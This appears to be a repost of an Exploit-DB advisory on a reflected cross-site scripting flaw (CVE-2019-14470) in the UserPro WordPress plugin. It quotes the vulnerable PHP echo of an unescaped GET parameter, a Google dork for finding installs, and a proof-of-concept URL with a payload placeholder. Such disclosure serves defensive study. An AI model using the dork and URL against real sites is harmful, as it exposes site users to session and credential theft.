WordPress Plugin UserPro 4.9.32 – Cross-Site Scripting

• Exploit Database
• 110 阅读

• 作者： Damian Ebelties
  日期： 2019-08-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47304/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

  # Exploit Title: UserPro <= 4.9.32 Reflected XSS # Google Dork: intitle:"Index of" intitle:"UserPro" -uploads # Date: 25 August 2019 # Exploit Author: Damian Ebelties (https://zerodays.lol/) # Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681 # Version: <= 4.9.32 # Tested on: Ubuntu 18.04.1 # CVE: CVE-2019-14470   The WordPress plug-in &apos;UserPro&apos; uses a Instagram library (Instagram PHP API V2 by cosenary) that is vulnerable for Reflected Cross-Site Scripting (XSS).   There is more vulnerable code in &apos;UserPro&apos; core, might release that later.   As of today (25 August 2019) this issue is unfixed.   Vulnerable code: (success.php on line 36)   if (isset($_GET[&apos;error&apos;])) { echo &apos;An error occurred: &apos; . $_GET[&apos;error_description&apos;]; }   > https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36   Proof-of-Concept:   https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>